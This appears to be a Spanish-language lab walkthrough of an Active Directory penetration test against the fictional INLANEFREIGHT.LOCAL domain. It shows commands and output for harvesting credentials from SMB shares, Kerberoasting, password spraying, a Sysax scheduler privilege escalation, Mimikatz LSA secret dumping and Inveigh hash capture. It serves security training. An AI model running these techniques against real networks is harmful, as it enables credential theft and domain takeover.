|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
SMB         172.16.8.3      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
SMB         172.16.8.3      445    DC01             [+] INLANEFREIGHT.LOCAL\ssmalls:Str0ngpass86! 
SPIDER_P... 172.16.8.3      445    DC01             [*] Started spidering plus with option:
SPIDER_P... 172.16.8.3      445    DC01             [*]        DIR: ['print$']
SPIDER_P... 172.16.8.3      445    DC01             [*]        EXT: ['ico', 'lnk']
SPIDER_P... 172.16.8.3      445    DC01             [*]       SIZE: 51200
SPIDER_P... 172.16.8.3      445    DC01             [*]     OUTPUT: /tmp/cme_spider_plus

Esto crea un archivo para nosotros en nuestro directorio /tmp, así que veámoslo.

afsh4ck@kali$ cat 172.16.8.3.json 
{
    "Department Shares": {
        "IT/Private/Development/SQL Express Backup.ps1": {
            "atime_epoch": "2022-06-01 14:34:16",
            "ctime_epoch": "2022-06-01 14:34:16",
            "mtime_epoch": "2022-06-01 14:35:16",
            "size": "3.91 KB"
        }
    },
    "IPC$": {
        "323a2fd620dcf3e3": {
            "atime_epoch": "1600-12-31 19:03:58",
            "ctime_epoch": "1600-12-31 19:03:58",
            "mtime_epoch": "1600-12-31 19:03:58",
            "size": "3 Bytes"
<SNIP>

El archivo SQL Express Backup.ps1 en el recurso compartido de TI privado parece muy interesante. Vamos a descargarlo usando smbclient. Primero, necesitamos conectarnos.

afsh4ck@kali$ proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares' 

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
Enter WORKGROUP\ssmalls's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  1 14:34:06 2022
  ..                                  D        0  Wed Jun  1 14:34:06 2022
  Accounting                          D        0  Wed Jun  1 14:34:08 2022
  Executives                          D        0  Wed Jun  1 14:34:04 2022
  Finance                             D        0  Wed Jun  1 14:34:00 2022
  HR                                  D        0  Wed Jun  1 14:33:48 2022
  IT                                  D        0  Wed Jun  1 14:33:42 2022
  Marketing                           D        0  Wed Jun  1 14:33:56 2022
  R&D                                 D        0  Wed Jun  1 14:33:52 2022

		10328063 blocks of size 4096. 8177952 blocks available

Luego podemos navegar hasta el recurso compartido Development.

smb: \IT\Private\> cd Development\
smb: \IT\Private\Development\> ls
  .                                   D        0  Wed Jun  1 14:34:17 2022
  ..                                  D        0  Wed Jun  1 14:34:17 2022
  SQL Express Backup.ps1              A     4001  Wed Jun  1 14:34:15 2022

		10328063 blocks of size 4096. 8177952 blocks available
smb: \IT\Private\Development\> get SQL Express Backup.ps1 
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \IT\Private\Development\SQL

smb: \IT\Private\Development\> get "SQL Express Backup.ps1" 
getting file \IT\Private\Development\SQL Express Backup.ps1 of size 4001 as SQL Express Backup.ps1 (8.7 KiloBytes/sec) (average 8.7 KiloBytes/sec)

Al revisar el archivo, vemos que se trata de una especie de script de backup con credenciales codificadas para backupadm, otra contraseña de acceso directo al teclado. Observo una tendencia en esta organización. Quizás el mismo administrador la configuró como la contraseña que usamos antes por fuerza bruta con Hydra, ya que esto está relacionado con el desarrollo.

afsh4ck@kali$ cat SQL\ Express\ Backup.ps1 

$serverName = ".\SQLExpress"
$backupDirectory = "D:\backupSQL"
$daysToStoreDailyBackups = 7
$daysToStoreWeeklyBackups = 28
$monthsToStoreMonthlyBackups = 3

[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SMO") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.ConnectionInfo") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoEnum") | Out-Null
 
$mySrvConn = new-object Microsoft.SqlServer.Management.Common.ServerConnection
$mySrvConn.ServerInstance=$serverName
$mySrvConn.LoginSecure = $false
$mySrvConn.Login = "backupadm"
$mySrvConn.Password = "<REDACTED>"

$server = new-object Microsoft.SqlServer.Management.SMO.Server($mySrvConn)

Antes de intentar usar esta cuenta en algún lugar, investiguemos un poco más. Hay un archivo .vbs interesante en el recurso compartido SYSVOL, al que pueden acceder todos los usuarios del dominio.

     },
       "INLANEFREIGHT.LOCAL/scripts/adum.vbs": {
           "atime_epoch": "2022-06-01 14:34:41",
           "ctime_epoch": "2022-06-01 14:34:41",
           "mtime_epoch": "2022-06-01 14:34:39",
           "size": "32.15 KB"

Podemos descargarlo nuevamente con smbclient.

afsh4ck@kali$ proxychains smbclient -U ssmalls '//172.16.8.3/sysvol' 

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
Enter WORKGROUP\ssmalls's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  1 14:10:57 2022
  ..                                  D        0  Wed Jun  1 14:10:57 2022
  INLANEFREIGHT.LOCAL                Dr        0  Wed Jun  1 14:10:57 2022
smb: \INLANEFREIGHT.LOCAL\> cd scripts
smb: \INLANEFREIGHT.LOCAL\scripts\> ls
  .                                   D        0  Wed Jun  1 14:34:41 2022
  ..                                  D        0  Wed Jun  1 14:34:41 2022
  adum.vbs                            A    32921  Wed Jun  1 14:34:39 2022

		10328063 blocks of size 4096. 8177920 blocks available
smb: \INLANEFREIGHT.LOCAL\scripts\> get adum.vbs 
getting file \INLANEFREIGHT.LOCAL\scripts\adum.vbs of size 32921 as adum.vbs (57.2 KiloBytes/sec) (average 57.2 KiloBytes/sec)

Revisando el script encontramos otro conjunto de credenciales: account:L337^p@$$w0rD

afsh4ck@kali$ cat adum.vbs 

Option Explicit

''=================================================================================================================================
''
'' Active Directory User Management script [ADUM]
''
'' Written: 2011/07/18
'' Updated: 2015.07.21

<SNIP>

Const cSubject = "Active Directory User Management report"	'EMAIL - SUBJECT LINE

''Most likely not needed, but if needed to pass authorization for connecting and sending emails
Const cdoUserName = "account@inlanefreight.local"	'EMAIL - USERNAME - IF AUTHENTICATION REQUIRED
Const cdoPassword = "L337^p@$$w0rD"	

Al revisar BloodHound, no encontramos ningún accountusuario, así que podría ser una contraseña antigua. Según el año en los comentarios del script, es probable que lo sea. Podemos añadir esto a nuestros hallazgos sobre datos confidenciales en recursos compartidos y anotarlo en la sección de credenciales de nuestras notas del proyecto. En ocasiones, encontraremos contraseñas antiguas que aún se usan para cuentas de servicio antiguas y que podemos usar para un ataque de rociado de contraseñas.


Kerberosting con Powerview

Para cubrir todas las bases, verifiquemos si hay usuarios compatibles con Kerberos. Podemos hacerlo mediante Proxychains usando GetUserSPNs.py de Impacket o PowerView desde el objetivo. En nuestra sesión RDP, cargaremos PowerView y enumeraremos las cuentas de Service Principal Names (SPN).

PS C:\DotNetNuke\Portals\0> Import-Module .\PowerView.ps1
PS C:\DotNetNuke\Portals\0> Get-DomainUser * -SPN | Select samaccountname

samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc

Hay bastantes. Vamos a exportarlos a un archivo CSV para procesarlos sin conexión.

PS C:\DotNetNuke\Portals\0> Get-DomainUser * -SPN -verbose | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_spns.csv -NoTypeInformation

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainUser] Searching for non-null service principal names
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=*))(servicePrincipalName=*))

Podemos descargar este archivo mediante la redirección de la unidad RDP que configuramos anteriormente: copy .\ilfreight_spns.csv \\Tsclient\Home. Abrimos el archivo .csv con LibreOffice Calc o Excel, extraemos los hashes y los agregamos a un archivo. Ahora podemos ejecutar Hashcat para ver si podemos crackear alguno y, de ser así, si corresponden a cuentas con privilegios.

afsh4ck@kali$ hashcat -m 13100 ilfreight_spns /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...

<SNIP>

$krb5tgs$23$*backupjob$INLANEFREIGHT.LOCAL$backupjob/veam001.inlanefreight.local*$31b8f218c848bd851df59641a45<SNIP>:<redacted>

Un hash falla, pero al consultar BloodHound, la cuenta no parece sernos útil. Aún podemos anotar otro hallazgo Weak Kerberos Authentication Configuration (Kerberoasting) y seguir adelante.


Password Spraying

Otra técnica de movimiento lateral que vale la pena explorar es el Password Spraying. Podemos usar DomainPasswordSpray.ps1 o la versión de Windows de Kerbrute desde el host DEV01, o usar Kerbrute desde nuestro host de ataque mediante Proxychains (todos con los que vale la pena experimentar).

PS C:\DotNetNuke\Portals\0> Invoke-DomainPasswordSpray -Password Welcome1

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] The domain password policy observation window is set to  minutes.
[*] Setting a  minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 2913 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): y
[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2913 users. Current time is 11:47 AM
[*] SUCCESS! User:kdenunez Password:Welcome1
[*] SUCCESS! User:mmertle Password:Welcome1
[*] Password spraying is complete
proxychains kerbrute passwordspray -d inlanefreight.local --dc 172.16.8.3 users.txt Welcome1

Encontramos una contraseña válida para dos usuarios más, pero ninguno tiene acceso interesante. Aun así, conviene anotar el hallazgo Weak Active Directory Passwords y continuar.


Técnicas varias

Probemos algunas cosas más para cubrir todas las necesidades. Podemos buscar en el recurso compartido SYSVOL archivos Registry.xml que puedan contener contraseñas de usuarios configurados con inicio de sesión automático mediante la directiva de grupo.

afsh4ck@kali$ proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86! -M gpp_autologin

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:135-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
SMB         172.16.8.3      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
SMB         172.16.8.3      445    DC01             [+] INLANEFREIGHT.LOCAL\ssmalls:Str0ngpass86! 
GPP_AUTO... 172.16.8.3      445    DC01             [+] Found SYSVOL share
GPP_AUTO... 172.16.8.3      445    DC01             [*] Searching for Registry.xml

Esto no arroja resultados útiles. A continuación, podemos buscar contraseñas en la Description de los campos de usuario de AD, lo cual no es muy común, pero aún lo vemos de vez en cuando (¡incluso he visto contraseñas de cuentas de administrador de dominio y de empresa aquí!).

PS C:\DotNetNuke\Portals\0> Get-DomainUser * |select samaccountname,description | ?{$_.Description -ne $null}

samaccountname description
-------------- -----------
Administrator  Built-in account for administering the computer/domain
frontdesk      ILFreightLobby!
Guest          Built-in account for guest access to the computer/d...
krbtgt         Key Distribution Center Service Account

Encontramos una para la cuenta frontdesk, pero esta tampoco es útil. Cabe destacar que existen múltiples maneras de obtener la contraseña de una cuenta de usuario en este dominio, y existe un host con privilegios RDP otorgados a todos los usuarios del dominio. Aunque estas cuentas no tienen derechos especiales, sería un cliente el que solucionaría estos problemas, ya que un atacante a menudo solo necesita una contraseña para tener éxito en AD. Aquí podemos anotar un hallazgo Passwords in AD User Description Field y continuar.


Próximos pasos

En este punto, hemos investigado a fondo el dominio y hemos encontrado varios conjuntos de credenciales, pero nos topamos con un obstáculo. Volviendo a lo básico, podemos ejecutar un análisis para ver si algún host tiene WinRM habilitado e intentar conectarnos con cada conjunto de credenciales.

afsh4ck@kali$ proxychains nmap -sT -Pn -p 5985 172.16.8.50

ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 14:59 EDT
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:80-<--timeout
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
Nmap scan report for 172.16.8.50
Host is up (0.12s latency).

PORT     STATE SERVICE
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

El host 172.16.8.50, o MS01 es el único que queda en el que no hemos podido entrar aparte del controlador de dominio, así que vamos a intentarlo usando evil-winrm y las credenciales del usuario backupadm.

¡Funciona y estamos dentro!

afsh4ck@kali$ proxychains evil-winrm -i 172.16.8.50 -u backupadm 

ProxyChains-3.1 (http://proxychains.sf.net)
Enter Password: 

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents> hostname
ACADEMY-AEN-MS01

En este punto, podríamos usar este shell de evil-winrm para enumerar el dominio con una herramienta como PowerView. Ten en cuenta que necesitaremos usar un objeto PSCredential para realizar la enumeración desde este shell debido al problema de "doble salto" de Kerberos . Practica esta técnica y vea qué otras herramientas de enumeración de AD podría usar de esta manera.

Volviendo a la tarea en cuestión. Nuestro usuario no es administrador local y whoami /priv no muestra ningún privilegio útil. Al revisar el módulo Escalada de privilegios en Windows, no encontramos nada interesante, así que buscamos credenciales. Tras investigar un poco, encontramos un archivo unattend.xml sobrante de una instalación anterior.

*Evil-WinRM* PS C:\Users\backupadm\desktop> cd c:\panther

|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\panther> dir


    Directory: C:\panther


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/1/2022   2:17 PM           6995 unattend.xml

Verifiquemos si contiene alguna contraseña, como a veces ocurre.

*Evil-WinRM* PS C:\panther> type unattend.xml

|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
    <settings pass="oobeSystem">
        <component name="Microsoft-Windows-International-Core" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <InputLocale>de-de</InputLocale>
            <SystemLocale>de-de</SystemLocale>
            <UILanguage>de-de</UILanguage>
            <UILanguageFallback>de-de</UILanguageFallback>
            <UserLocale>de-de</UserLocale>
        </component>
        <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <OOBE>
                <HideEULAPage>true</HideEULAPage>
                <HideWirelessSetupInOOBE>true</HideWirelessSetupInOOBE>
                <NetworkLocation>Work</NetworkLocation>
                <ProtectYourPC>1</ProtectYourPC>
            </OOBE>
            <AutoLogon>
                <Password>
                    <Value>Sys26Admin</Value>
                    <PlainText>true</PlainText>
                </Password>
                <Enabled>true</Enabled>
                <LogonCount>1</LogonCount>
                <Username>ilfserveradm</Username>
            </AutoLogon>
        
        <SNIP>

        </component>
    </settings>
</unattend>

Encontramos las credenciales del usuario local ilfserveradm, con la contraseña Sys26Admin.

*Evil-WinRM* PS C:\panther> net user ilfserveradm

User name                    ilfserveradm
Full Name                    ilfserveradm
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/1/2022 2:17:17 PM
Password expires             Never
Password changeable          6/1/2022 2:17:17 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/1/2022 2:17:17 PM

Logon hours allowed          All

Local Group Memberships      *Remote Desktop Users
Global Group memberships     *None
The command completed successfully.

Este no es un usuario de dominio, pero es interesante que tenga acceso a Escritorio remoto, pero no sea miembro del grupo de administradores locales. Accedamos mediante RDP y veamos qué podemos hacer. Tras acceder mediante RDP y realizar una enumeración adicional, encontramos software no estándar instalado en el directorio C:\Program Files (x86)\SysaxAutomation.

Una búsqueda rápida revela este exploit de escalada de privilegios local. Según la descripción, este Servicio Programado Sysax se ejecuta como la cuenta local SYSTEM y permite a los usuarios crear y ejecutar trabajos de copia de seguridad. Si se elimina la opción de ejecutar como usuario, la tarea se ejecutará de forma predeterminada como la cuenta SYSTEM. ¡Hagamos una prueba!

Primero, creamos un archivo llamado pwn.bat en C:\Users\ilfserveradm\Documents que contenga la línea net localgroup administrators ilfserveradm /add para agregar a nuestro usuario al grupo de administradores locales (en ocasiones, necesitaremos corregirlo y anotarlo en los apéndices de nuestro informe). A continuación, podemos realizar los siguientes pasos:

  • Abrimos C:\Program Files (x86)\SysaxAutomation\sysaxschedscp.exe

  • Seleccionamos Setup Scheduled/Triggered Tasks

  • Add Task (Triggered)

  • Folder to monitor C:\Users\ilfserveradm\Documents

  • Activamos Run task if a file is added to the monitor folder or subfolder(s)

  • Elegimos Run any other Program y elegimos C:\Users\ilfserveradm\Documents\pwn.bat

  • Desmarcamos Login as the following user to run task

  • Hacemos clic en Finish y luego Save

Podéis ver las imágenes del proceso en la pregunta 3 del caso práctico al final de esta sección.

Finalmente, para activar la tarea, creamos un nuevo archivo .txt en el directorio C:\Users\ilfserveradm\Documents. Podemos comprobar que el usuario ilfserveradm se ha añadido al grupo Administrators.

C:\Users\ilfserveradm> net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
ilfserveradm
INLANEFREIGHT\Domain Admins
The command completed successfully.

Post-explotación / Looting

A continuación, realizaremos una post-explotación en el host MS01. Observamos un par de archivos interesantes en la raíz de la unidad c:\ budget_data.xlsx, Inlanefreight.kdbx que merecería la pena revisar y, posiblemente, informar al cliente si no se encuentran en la ubicación prevista. A continuación, podemos usar Mimikatz, para elevar a un token NT AUTHORITY\SYSTEM y volcar los LSA Secrets.

c:\Users\ilfserveradm\Documents> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::secrets
Domain : ACADEMY-AEN-MS0
SysKey : 61b3d49a6205a1dedb14591c22d36afc
ERROR kuhl_m_lsadump_secretsOrCache ; kull_m_registry_RegOpenKeyEx (SECURITY) (0x00000005)

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

564     {0;000003e7} 1 D 30073          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;0136075a} 2 F 20322234    ACADEMY-AEN-MS0\ilfserveradm    S-1-5-21-1020326033-369054202-3290056218-1002   (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 20387820    NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # lsadump::secrets
Domain : ACADEMY-AEN-MS0
SysKey : 61b3d49a6205a1dedb14591c22d36afc

Local name : ACADEMY-AEN-MS0 ( S-1-5-21-1020326033-369054202-3290056218 )
Domain name : INLANEFREIGHT ( S-1-5-21-2814148634-3729814499-1637837074 )
Domain FQDN : INLANEFREIGHT.LOCAL

Policy subsystem is : 1.18
LSA Key(s) : 1, default {13764b01-b89c-8adf-69ec-8937ee43821e}
  [00] {13764b01-b89c-8adf-69ec-8937ee43821e} 587be7dcfb75bb9ebb0c5c75cf4afb4488e602f9926f3404a09ecf8ba20b04e7

Secret  : $MACHINE.ACC
cur/text: -2d"GC)[+6,[+mC+UC5KXVoH>j`S8CAlq1nQCP6:[*-Zv@_NAs`Pm$9xv7ohquyAKz1:rX[E40v)=p8-5@%eK3(<7tZW"I\7`,Bu#]N$'%A`$Z?E@9V2zdh=
    NTLM:ced50a6f3cb256110200dcb022b32c12
    SHA1:0b5cb5af0f13110312456892b7ebede53db440e8
old/text: -2d"GC)[+6,[+mC+UC5KXVoH>j`S8CAlq1nQCP6:[*-Zv@_NAs`Pm$9xv7ohquyAKz1:rX[E40v)=p8-5@%eK3(<7tZW"I\7`,Bu#]N$'%A`$Z?E@9V2zdh=
    NTLM:ced50a6f3cb256110200dcb022b32c12
    SHA1:0b5cb5af0f13110312456892b7ebede53db440e8

Secret  : DefaultPassword
cur/text: DBAilfreight1!

Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 37 62 35 26 80 4c 6b 2f 11 ca 06 25 ab 97 21 3f 84 f8 74 fa bc 69 a1 c4 37 2b df f8 cd 6c 8f 0a 8a d9 67 e9 42 cf 4f 96
    full: 37623526804c6b2f11ca0625ab97213f84f874fabc69a1c4372bdff8cd6c8f0a8ad967e942cf4f96
    m/u : 37623526804c6b2f11ca0625ab97213f84f874fa / bc69a1c4372bdff8cd6c8f0a8ad967e942cf4f96
old/hex : 01 00 00 00 51 9c 86 b4 cb dc 97 8b 35 9b c0 39 17 34 16 62 31 98 c1 07 ce 7d 9f 94 fc e7 2c d9 59 8a c6 07 10 78 7c 0d 9a 56 ce 0b
    full: 519c86b4cbdc978b359bc039173416623198c107ce7d9f94fce72cd9598ac60710787c0d9a56ce0b
    m/u : 519c86b4cbdc978b359bc039173416623198c107 / ce7d9f94fce72cd9598ac60710787c0d9a56ce0b

Secret  : NL$KM
cur/hex : a2 52 9d 31 0b b7 1c 75 45 d6 4b 76 41 2d d3 21 c6 5c dd 04 24 d3 07 ff ca 5c f4 e5 a0 38 94 14 91 64 fa c7 91 d2 0e 02 7a d6 52 53 b4 f4 a9 6f 58 ca 76 00 dd 39 01 7d c5 f7 8f 4b ab 1e dc 63
old/hex : a2 52 9d 31 0b b7 1c 75 45 d6 4b 76 41 2d d3 21 c6 5c dd 04 24 d3 07 ff ca 5c f4 e5 a0 38 94 14 91 64 fa c7 91 d2 0e 02 7a d6 52 53 b4 f4 a9 6f 58 ca 76 00 dd 39 01 7d c5 f7 8f 4b ab 1e dc 63

Encontramos una contraseña establecida, pero no un nombre de usuario asociado. Parece ser una cuenta configurada con inicio de sesión automático, por lo que podemos consultar el Registro para encontrar el nombre de usuario.

PS C:\Users\ilfserveradm> Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\' -Name "DefaultUserName"

DefaultUserName : mssqladm
PSPath          : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
                  NT\CurrentVersion\Winlogon\
PSParentPath    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
PSChildName     : Winlogon
PSDrive         : HKLM
PSProvider      : Microsoft.PowerShell.Core\Registry

Ahora tenemos un nuevo par de credenciales: mssqladm:DBAilfreight1!.

Antes de continuar, revisemos si hay otras credenciales. Vemos que Firefox está instalado, así que podemos usar la herramienta LaZagne para intentar recuperar las credenciales guardadas en el navegador. No hubo suerte, pero siempre vale la pena revisarlo.

c:\Users\ilfserveradm\Documents> lazagne.exe browsers -firefox

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

[+] System masterkey decrypted for 6f898230-c272-4f85-875c-9f7b354ce485
[+] System masterkey decrypted for 9ccbb5e8-66c9-4210-a46c-a72e8f750734
[+] System masterkey decrypted for 08ed962e-44d9-4e2c-9985-392b699c25ae
[+] System masterkey decrypted for d4bfcc8b-5eec-485d-8adb-9ed4ae5656d6

[+] 0 passwords have been found.
For more information launch it again with the -v option

elapsed time = 3.29700016975

También vale la pena ejecutar Inveigh una vez que tengamos administrador local en un host para ver si podemos obtener hashes de contraseñas para cualquier usuario.

PS C:\Users\ilfserveradm\Documents> Import-Module .\Inveigh.ps1
PS C:\Users\ilfserveradm\Documents> Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

[*] Inveigh 1.506 started at 2022-06-22T15:03:32
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.8.50
[+] Spoofer IP Address = 172.16.8.50
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
[+] NBNS Spoofer = Disabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Users\ilfserveradm\Documents
WARNING: [!] Run Stop-Inveigh to stop
[*] Press any key to stop console output
[+] [2022-06-22T15:04:05] TCP(445) SYN packet detected from 172.16.8.20:55623
[+] [2022-06-22T15:04:05] SMB(445) negotiation request detected from 172.16.8.20:55623
[+] [2022-06-22T15:04:05] Domain mapping added for INLANEFREIGHT to INLANEFREIGHT.LOCAL
[+] [2022-06-22T15:04:05] SMB(445) NTLM challenge 5EB0B310E7B8BA04 sent to 172.16.8.20:55623
[+] [2022-06-22T15:04:05] SMB(445) NTLMv2 captured for ACADEMY-AEN-DEV\mpalledorous from 172.16.8.20(ACADEMY-AEN-DEV):55623:
mpalledorous::ACADEMY-AEN-DEV:5EB0B310E7B8BA04:<SNIP>

Acercándonos

Hemos enumerado el dominio por completo, nos hemos movido lateralmente y hemos saqueado lo que pudimos encontrar en los hosts objetivo. En este punto, tenemos las credenciales del usuario mssqladm y podemos seguir buscando una ruta para comprometer el dominio.


Caso práctico

Objetivo: 10.129.229.147

Pregunta 1

Busca un script de backup que contenga la contraseña del usuario backupadm. Indica la contraseña de este usuario como respuesta.

Configuración de pivoting con SSH

Este comando nos permite enviar todo el tráfico RDP del host DEV01 al host dmz01 a través del puerto local 13389 para conectarnos por RDP:

afsh4ck@kali$  ssh -i dmz01_key -L 13389:172.16.8.20:3389 root@10.129.229.147

Conexión por RDP

xfreerdp /v:127.0.0.1:13389 /u:hporter /p:Gr8hambino! /drive:home,"/home/kali/Escritorio/hack-tools/WINDOWS"

Configurar la ruta donde están los scripts de enumeración como PowerView.ps1 en nuestro equipo atacante. Solo tenemos una shell:

Análisis con Bloodhound

C:\Users\hporter> net use
New connections will be remembered.

Status       Local     Remote                    Network
-------------------------------------------------------------------------------
                       \\TSCLIENT\home           Microsoft Terminal Services
The command completed successfully.

c:\DotNetNuke\Portals\0> copy \\TSCLIENT\home\SharpHound.exe .
        1 file(s) copied.

c:\DotNetNuke\Portals\0> SharpHound.exe
2025-04-24T12:01:07.2980913-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-04-24T12:01:07.4699649-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices, LdapServices, WebClientService, SmbInfo
2025-04-24T12:01:07.5012162-07:00|INFORMATION|Initializing SharpHound at 12:01 PM on 4/24/2025
2025-04-24T12:01:07.5793350-07:00|INFORMATION|Resolved current domain to INLANEFREIGHT.LOCAL
2025-04-24T12:01:07.7512280-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices, LdapServices, WebClientService, SmbInfo
2025-04-24T12:01:07.8449629-07:00|INFORMATION|Beginning LDAP search for INLANEFREIGHT.LOCAL
2025-04-24T12:01:08.4074627-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for INLANEFREIGHT.LOCAL
2025-04-24T12:01:08.4074627-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for INLANEFREIGHT.LOCAL
<---SNIP--->
Closing writers
2025-04-24T12:01:11.1574925-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2025-04-24T12:01:11.3293459-07:00|INFORMATION|Status: 3841 objects finished (+3841 1280.333)/s -- Using 76 MB RAM
2025-04-24T12:01:11.3293459-07:00|INFORMATION|Enumeration finished in 00:00:03.4973059
